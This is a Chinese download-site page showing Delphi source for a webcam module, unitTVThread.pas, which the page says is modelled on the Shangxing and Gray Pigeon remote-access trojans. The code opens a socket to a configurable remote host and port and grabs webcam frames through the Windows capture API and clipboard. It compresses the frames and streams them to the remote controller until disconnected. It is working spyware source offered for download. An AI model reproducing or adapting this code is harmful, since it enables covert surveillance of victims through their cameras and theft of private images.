⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unittvthread.pas

📁 参照上兴、鸽子等源码编写编写出来的。 编译环境:Delphi7+SP+DP+indy9等控件
💻 PAS
字号:
Unit unitTVThread;

Interface

Uses
Windows,SocketUnit,messages,winsys,classes,Graphics,sysutils,zlibex,ScreenThread,unitTransfer;

Type
  TDTVThread=Class(TThread)
  Private
    SysThread:TClientSocket;
    Procedure ParseWebcamManager(Stream:Tmemorystream);
  Protected
    Procedure Execute; Override;
  Public
    Constructor Create;
    Destructor Destroy; Override;
  End;

Var
  TVThread:TDTVThread;
  Vhost:string;
  Vport,Vsh:integer;


Implementation

var
  CaptureWindow:HWND;
  ISFirScr: boolean;


Constructor TDTVThread.Create;
Begin
  Inherited Create(True);// 暂停运行
  SysThread := TClientSocket.Create();
  SysThread.Connect(Vhost, Vport);
  SysThread.SendString('SH|'+inttostr(Vsh)+ENTER);
  FreeOnTerminate:=True;// 自动删除
    ISFirScr := True;
  Suspended:=false;
  Priority:=tpIdle;//线程优先级别
End;

Procedure TDTVThread.Execute;
Var
  Request:String;
  TmpStream:Tmemorystream;
  MYStream:Tmemorystream;
Begin
  TmpStream:=Tmemorystream.Create;
  MYStream:=Tmemorystream.Create;
      Request := 'CAPTURAWEBCAM';
      SysThread.sendstring(Request + EOL);
  repeat
    Try
      MYStream.Clear;
      ParseWebcamManager(MYStream);
      MYStream.Position:=0;
      CompareStream(TmpStream,MYStream);
      MyCompress(MYStream);
      MYStream.Position:=0;
    Except
    End;
    Try
      If MYStream.Size>0 Then Begin
        SysThread.WriteInteger(MYStream.Size);
        SysThread.WriteStream(MYStream);
        Request:=SysThread.Readln(EOL);

         if ISFirScr then
         begin
         Request:=SysThread.Readln(EOL);
         ISFirScr := False;
         end;

        If Request<>'111' Then Break;
      End;
      Sleep(1);
    Except
      Break;
    End;
   until (Terminated) or (SysThread.Connected = False);
  SendMessage(CaptureWindow,WM_CLOSE,0,0);
  CaptureWindow:=0;
  SysThread.Disconnect;
  MYStream.Free;
  TmpStream.Free;
End;

Destructor TDTVThread.Destroy;
Begin
  SysThread.Free;
  Inherited Destroy;
End;

Procedure TDTVThread.ParseWebcamManager(Stream:Tmemorystream);
Begin
  Stream.Clear;
  If CaptureWindow=0 Then Begin
    CaptureWindow:=capCreateCaptureWindowA('CaptureWindow',WS_CHILD And WS_VISIBLE,0,0,320,240,GetDesktopWindow,0);
    If SendMessage(CaptureWindow,WM_CAP_DRIVER_CONNECT,0,0)<>1 Then Begin
      SendMessage(CaptureWindow,WM_CLOSE,0,0);
      CaptureWindow:=0;
    End;
  End;
  If CaptureWindow<>0 Then Begin
    SendMessage(CaptureWindow,WM_CAP_GRAB_FRAME,0,0);
    SendMessage(CaptureWindow,WM_CAP_EDIT_COPY,0,0);
  End Else Begin
    Terminate;
    Exit;
  End;
  OpenClipboard(0);
  SaveBitmapToStream(Stream,GetClipboardData(CF_BITMAP),1);
  CloseClipboard;
  Stream.Position:=0;
End;


Function TCaptureWindow:String;
Begin
  Try
    Result:='11';
    If CaptureWindow=0 Then Begin
      CaptureWindow:=capCreateCaptureWindowA('CaptureWindow',WS_CHILD And WS_VISIBLE,0,0,320,240,GetDesktopWindow,0);
      If SendMessage(CaptureWindow,WM_CAP_DRIVER_CONNECT,0,0)<>1 Then Begin
        Result:='8'
      End;
    End;
  Finally
    SendMessage(CaptureWindow,WM_CAP_DRIVER_DISCONNECT,0,0);
    SendMessage(CaptureWindow,WM_CLOSE,0,0);
    CaptureWindow:=0;
  End;
End;

End.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -